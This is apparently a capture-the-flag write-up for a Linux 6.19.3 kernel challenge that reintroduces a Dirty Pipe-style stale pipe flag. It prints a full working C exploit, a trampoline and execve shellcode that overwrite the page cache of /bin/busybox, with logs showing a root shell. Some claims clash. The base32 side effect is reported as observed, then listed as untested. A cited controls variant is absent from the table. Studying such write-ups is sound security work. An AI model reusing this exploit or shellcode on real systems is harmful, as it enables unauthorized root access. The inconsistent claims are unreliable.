Introduction

Excalipipe is a small Linux 6.19.3 x86_64 challenge. The kernel is 6.19.3 with one patch to mm/filemap.c that looks like a cleanup. The goal is a root shell from an unprivileged user, and the target is the page cache of /bin/busybox, which the init script later executes as root.

The bug is a stale flags field. The patch replaces a whole-struct compound literal with four field stores, so the flags field of a pipe slot keeps whatever it held before. If that field still has PIPE_BUF_FLAG_CAN_MERGE set, a later write() appends into a page that belongs to a file. That is the same class of bug as CVE-2022-0847 (Dirty Pipe), recreated on purpose.

The claims below come from the challenge files and the kernel binary. Where a claim is only reasoned from the source and not observed in a run, the text says so. Three runs of the exploit were captured, and a control run was added to test the cause of the root shell.

The target

Property Value Why it matters
Kernel 6.19.3, x86_64, gcc 11.4 (Ubuntu) The banner is in the extracted vmlinux, not in the compressed bzImage.
Patched function splice_folio_into_pipe in mm/filemap.c It is the only function that moves a page cache page into a pipe on this path.
Symbols none in vmlinux, no DWARF Addresses come from a rebuilt kallsyms table. Struct layouts come from the 6.19.3 headers.
Root filesystem rootfs, backed by shmem (no root= on the command line) /bin/busybox is served by shmem_file_splice_read, not filemap_splice_read.
Userland target /bin/busybox, static, stripped The reboot wrapper inside it is the hook.
Trigger /init ends with poweroff -d 1 -n -f After the uid 1000 shell exits, the poweroff applet runs as root.
Mitigations PTI, KASLR, IBT, STRICT_RWX, SELinux None of them sit on this path (see the mitigation table).

The init script, which is PID 1, runs under the hush shell. Its last lines are:

setsid cttyhack setuidgid 1000 /bin/sh
poweroff -d 1 -n -f

The shell is uid 1000. The poweroff line runs after that shell exits, as root.

The bug

The whole change is in mm/filemap.c, inside splice_folio_into_pipe:

-		*buf = (struct pipe_buffer) {
-			.ops	= &page_cache_pipe_buf_ops,
-			.page	= page,
-			.offset	= offset,
-			.len	= part,
-		};
+		buf->ops    = &page_cache_pipe_buf_ops;
+		buf->page   = page;
+		buf->offset = offset;
+		buf->len    = part;

A compound literal with designated initializers zeroes every member it does not name. The original line therefore also sets flags and private to zero. The patched code writes four fields and leaves the other two alone.

I checked the binary, not only the diff. The vmlinux in the challenge contains the patched version. Inside splice_folio_into_pipe (0xffffffff81425400, 0xf0 bytes) the stores go to offsets +0x10 (ops), +0x0 (page), +0x8 (offset) and +0xc (len). No store goes to +0x18 (flags) or +0x20 (private), and there is no zero fill.

The compound literal resets flags, the patched field stores do not.

The pipe slot

A pipe is a ring of struct pipe_buffer slots. Each slot points to a page, with an offset and a length. The layout, checked against include/linux/pipe_fs_i.h in 6.19.3, is:

struct pipe_buffer {
	struct page *page;                      /* 0x00 */
	unsigned int offset, len;               /* 0x08, 0x0c */
	const struct pipe_buf_operations *ops; /* 0x10 */
	unsigned int flags;                     /* 0x18 */
	unsigned long private;                  /* 0x20 */
};                                              /* 40 bytes */

The only flag in play here is PIPE_BUF_FLAG_CAN_MERGE, which is 0x10. An anonymous write() into an empty slot sets it (fs/pipe.c, the new-page branch). Without O_DIRECT, that is always the case, so every write() leaves CAN_MERGE in the slot it used.

Reading the slot back does not clear it. pipe_buf_release() sets ops to NULL and calls the release hook. The anonymous release leaves flags alone. The page cache release clears only PIPE_BUF_FLAG_LRU, so CAN_MERGE survives. After one write() and one read(), the slot still says CAN_MERGE. A later splice into that slot inherits it, because the patched splice no longer sets flags. An anonymous write sets flags itself.

The pipe has 16 slots (PIPE_DEF_BUFFERS). The exploit fills the ring with 16 write and read pairs, which leaves a stale CAN_MERGE in every slot.

The ring: a stale CAN_MERGE survives a read.

The merge path

The merge test is in pipe_write() (fs/pipe.c, lines 477 to 494 in 6.19.3). Simplified:

chars = total_len & (PAGE_SIZE - 1);
buf = pipe_buf(pipe, head - 1);
offset = buf->offset + buf->len;
if (chars && !was_empty && (buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) {
	ret = copy_page_from_iter(buf->page, offset, chars, from);
	buf->len += ret;
}

The copy goes into buf->page, whatever that page is. Before the copy, the merge calls buf->ops->confirm, which for page cache buffers only checks that the folio is still valid. The code never checks write permission on the file the page came from. If buf->page is a page cache page of /bin/busybox, the bytes land in busybox’s page cache.

Two details limit the write. The length used is total_len & 4095, so a write that is a multiple of 4096 never merges. And the whole payload must fit in the page after offset.

Moving the write cursor

The page cache side is splice_folio_into_pipe, which is called from shmem_file_splice_read for this challenge (the rootfs is backed by shmem, and the call site is at 0xffffffff81441bf3). It builds the buffer as:

offset = offset_in_folio(folio, pos) % PAGE_SIZE;
part = min(PAGE_SIZE - offset, size - spliced);
buf->page = page; buf->offset = offset; buf->len = part;

To put the next write() at file offset X, the exploit splices one byte from X - 1. The buffer then has offset = (X - 1) mod 4096 and len = 1, so the merge offset is X mod 4096. The write starts at X, as long as X mod 4096 is not zero and (X mod 4096) + len <= 4096. Here len is the payload size, which is below 4096, so the payload has to fit in the rest of the page.

An earlier version of this reasoning, which set buf->offset + buf->len equal to an absolute file position, is wrong. The offset is only valid modulo 4096.

Splicing one byte at X-1 leaves the next write at X.

The exploit

The exploit is a single static binary. Its helpers are named after what they do, and the two page cache writes go through one function.

#define _GNU_SOURCE
#define _FILE_OFFSET_BITS 64

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int fd = -1;
int pipefd[2];

void hexdump(void *addr, int len) {
    unsigned char *p = addr;
    for (int i = 0; i < len; i++)
        printf("%02x ", p[i]);
    printf("\n");
}

int open_busybox() {
    fd = open("/bin/busybox", O_RDONLY);
    if (fd < 0) {
        perror("OPEN BUSYBOX");
        exit(1);
    }

    return 0;
}

void make_pipe() {
    int res = pipe2(pipefd, O_NONBLOCK);

    if (res < 0) {
        perror("Making pipe error");
        exit(1);
    }
}

void fill_pages() {

    char fill[4096];
    char drain[4096];
    memset(fill, 0x41, 4096);

    for (int i = 0; i < 16; i++) {
        if (write(pipefd[1], fill, 4096) != 4096) {
            perror("writing pipe error");
            exit(1);
        }

        if (read(pipefd[0], drain, 4096) != 4096) {
            perror("reading pipe error");
            exit(1);
        }
    }
}

void write_to_page_cache(uint64_t offset, char *payload, size_t len) {

    fill_pages();
    loff_t off = offset - 1;
    if (splice(fd, &off, pipefd[1], NULL, 1, 0) != 1) {
        perror("splice");
        exit(1);
    }

    if (write(pipefd[1], payload, len) != len) {
        perror("writing payload");
        exit(1);
    }
}

int main() {
    open_busybox();
    make_pipe();

    char *payload = "\x49\xc7\xc0\x93\xf6\x5d\x00\x41\xff\xe0";

    write_to_page_cache(0x8bf90, payload, 10);

    unsigned char shellcode[] =
        "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7"
        "\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a"
        "\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";

    write_to_page_cache(0x1df693, shellcode, 48);

    lseek(fd, 0x1df693, SEEK_SET);
    char verif[10];
    read(fd, verif, 10);
    hexdump(verif, 10);

    return 0;
}

The exploit chain

The exploit makes two writes into the page cache of /bin/busybox, then waits for the init script to run poweroff.

  1. write_to_page_cache(0x8bf90, trampoline, 10): 10 bytes over the start of the reboot wrapper.
  2. write_to_page_cache(0x1df693, shellcode, 48): 48 bytes into the body of a base32 decoder, which is the entry the trampoline jumps to.

The exploit then reads back 10 bytes at 0x1df693 and prints them, which is the proof that the second write landed.

The wrapper is the function at file offset 0x8bf90 (virtual address 0x48bf90, the segment mapping is vaddr = offset + 0x400000). The applet calls it with the magic constants and __NR_reboot:

48bf90  f3 0f 1e fa    endbr64
48bf94  89 fa          mov    edx,edi
48bf96  be 69 19 12 28 mov    esi,0x28121969
48bf9b  bf ad de e1 fe mov    edi,0xfee1dead
48bfa0  b8 a9 00 00 00 mov    eax,0xa9
48bfa5  0f 05          syscall

The trampoline is mov r8, 0x5df693; jmp r8, 10 bytes, written over endbr64, mov edx,edi and the first four bytes of mov esi. The wrapper has a single entry point at 0x48bf90, and no branch lands in the middle of the trampoline.

The wrapper and the trampoline written over its entry.

Where the shellcode runs

The trampoline jumps to 0x5df693, which is not a code cave. It is the start of a 170-byte function, a base32 decoder, which runs from 0x5df693 to its ret at 0x5df73c. The 48 shellcode bytes cover its first 48 bytes, ending on an instruction boundary. The 48 bytes overwritten are the first 48 of those 170, and the other 122 bytes of the decoder stay in the page.

Two checks support the claim that this decoder is unused during shutdown. A gdb trace of busybox poweroff -f, run as a non-root user, reaches the wrapper and the reboot syscall, and never enters 0x5df693. A static walk of the call graph from the stored function pointers reaches the decoder only from the base32 applet. Both checks are limited: the trace ran outside PID 1, and indirect calls are over-approximated.

The side effect was observed. On a copy with the 48 shellcode bytes written at 0x1df693, base32 -d prints nothing and exits 0, and strace shows the execve of the shellcode. On the original copy, base32 -d decodes its input. base64 -d is unaffected, because it uses a different decoder.

The shellcode:

push   0x68                 ; 'h' at S-8
movabs rax, 0x732f2f2f6e69622f ; "/bin///s"
push   rax
mov    rdi, rsp             ; path
push   0x1016972            ; bytes "ri\x01\x01", xored below
xor    DWORD PTR [rsp], 0x1010101 ; becomes "sh\0\0"
xor    esi, esi
push   rsi                  ; argv[1] = NULL
push   8
pop    rsi
add    rsi, rsp             ; rsi = pointer to "sh"
push   rsi                  ; argv[0]
mov    rsi, rsp             ; argv
xor    edx, edx             ; envp = NULL
push   59
pop    rax                  ; __NR_execve
syscall

The path passed to execve is /bin///sh, and argv[0] is sh. Repeated slashes are resolved to /bin/sh by the kernel’s path walk (standard behaviour, not traced here). The shellcode uses the stack below the entry rsp only, so it does not touch the caller’s frame.

What the root shell is, and what it is not

The trigger path is the important part. When the uid 1000 shell exits, the init script continues to poweroff -d 1 -n -f, which runs as root. The poweroff applet, with -f, calls the wrapper with RB_POWER_OFF. Without -f, it sends SIGUSR2 to init and never reaches the wrapper. The difference decides whether the wrapper runs at all. The variant set in the controls table above was driven with busybox reboot, without -f. That command never calls the wrapper, so that set measures only the page cache readback, not root. The root control is the separate run described in the run evidence section.

The chain is:

  1. /init (PID 1, root) runs setsid cttyhack setuidgid 1000 /bin/sh.
  2. The uid 1000 shell runs the exploit, which writes the trampoline and the shellcode into the page cache.
  3. Ctrl-D ends the shell. The script continues to poweroff -d 1 -n -f.
  4. The applet calls the wrapper at 0x48bf90, the trampoline runs, and the shellcode executes execve, still as root.

From the end of init to the shellcode running as root.

Run evidence

Three runs of the unmodified exploit, and one control, were captured on KVM with the options from run.sh, with the logs kept locally:

  • Three runs of the full chain. Each prints the same hexdump, 6a 68 48 b8 2f 62 69 6e 2f 2f, which is the first 10 bytes of the shellcode read back from 0x1df693. Before Ctrl-D, id reports uid=1000. After Ctrl-D, id reports uid=0(root) gid=0(root). No panic, Oops or WARN appears in the serial log.
  • A control with the trampoline write removed and everything else the same. The hexdump is identical, but after Ctrl-D the serial log shows reboot: Power down and no root shell appears. This control is consistent with the trampoline being the cause of the root shell. It is one run, so the causal claim is supported, not proven.

The runs show the root shell and, through the control, point at the trampoline. They do not show the page cache of /bin/busybox directly, which is why a separate readback of 0x8bf90 was run in the control set (see below).

Controls and failures

Each control changes one piece of the exploit and reads the result back.

Variant Change Observed
Baseline none hexdump correct, merge works
No fill_pages ring not dirtied the readback shows the original bytes, no merge
Splice at X off by one the hexdump is shifted by one byte
Trampoline at 0x8bf91 off by one the readback shows the trampoline one byte late
Write of 4096 bytes full-page length the trampoline does not land at 0x8bf90 (the merge length is total_len & 4095, so a full-page write takes the new-page path)
Readback at 0x8bf90 exploit plus 16-byte readback 49 c7 c0 93 f6 5d 00 41 ff e0 28 bf ad de e1 fe (merge confirmed)

A probe on a fresh pipe with no priming changed nothing, so the stale flag is necessary. Splicing at a page-aligned X failed. Two bytes at X mod 4096 = 0xffe worked, three bytes failed, which matches the rule that the payload must fit in the page.

Mitigations

Mitigation Value in this build Effect on this path
pti=on forced on by the command line none on the page cache write
kaslr a no-op (only nokaslr is read); CONFIG_RANDOMIZE_BASE=y none, the exploit uses no kernel address
CONFIG_X86_KERNEL_IBT y none, it guards indirect calls in the kernel
CONFIG_X86_USER_SHADOW_STACK not set none
CONFIG_STACKPROTECTOR_STRONG y none, there is no stack overflow
CONFIG_STRICT_KERNEL_RWX, CONFIG_STRICT_MODULE_RWX y none, kernel text stays read-only
CONFIG_SECURITY_SELINUX y none, the init does not load a policy
panic_on_warn=1 set not triggered, no WARN on this path
oops=panic set not triggered in the runs

None of the mitigations in the table stops this path. The patch does not remove a mitigation. It replaces a compound literal, which resets flags, with four field assignments, so the reset disappears.

The historical context

CVE-2022-0847 (Dirty Pipe) was fixed upstream in lib/iov_iter.c, by initializing flags in copy_page_to_iter_pipe and push_pipe. The fix shipped in 5.16.11, 5.15.25 and 5.10.102. The advisory is at dirtypipe.cm4all.com. The earlier commit f6dd975583bd made the anonymous pipe buffer operations mergeable, which made the flag exploitable. It is not the fix.

The upstream fix is about the copy path. In 6.19.3, lib/iov_iter.c has no pipe-backed iterator left, so the 2022 code is gone from that file. The challenge patch works on a different path, the splice path in mm/filemap.c, and removes a reset that upstream kept. This challenge reintroduces the class of bug on the splice side.

Limits

  • The kernel was not rebuilt. The vmlinux was extracted from the challenge bzImage and its symbols were rebuilt from kallsyms.
  • The page cache claim is observed through the same kernel path, but the readback is a single 16-byte read in one control, not a full dump.
  • The control for the root cause is one run. The three runs are not a statistical sample.
  • The cave claim (base32 breakage) is inferred from the call graph and the trace, not tested.
  • The probe on the splice offset only covered resident pages (rootfs, shmem-backed, no swap).
  • The fix commit hash is not verified from the upstream list, only the advisory and stable releases.

Conclusion

A refactor that looks cosmetic swaps one compound literal for four field assignments, and the zeroing of flags goes with it. The stale flags field turns a splice of a page cache page into a write primitive on /bin/busybox. The exploit then fills the ring, places the cursor with a one-byte splice at X - 1, and hooks the reboot wrapper that the shutdown path calls as root. The mitigations that protect against kernel bugs do not help here, because the write lands in a page the process was allowed to read.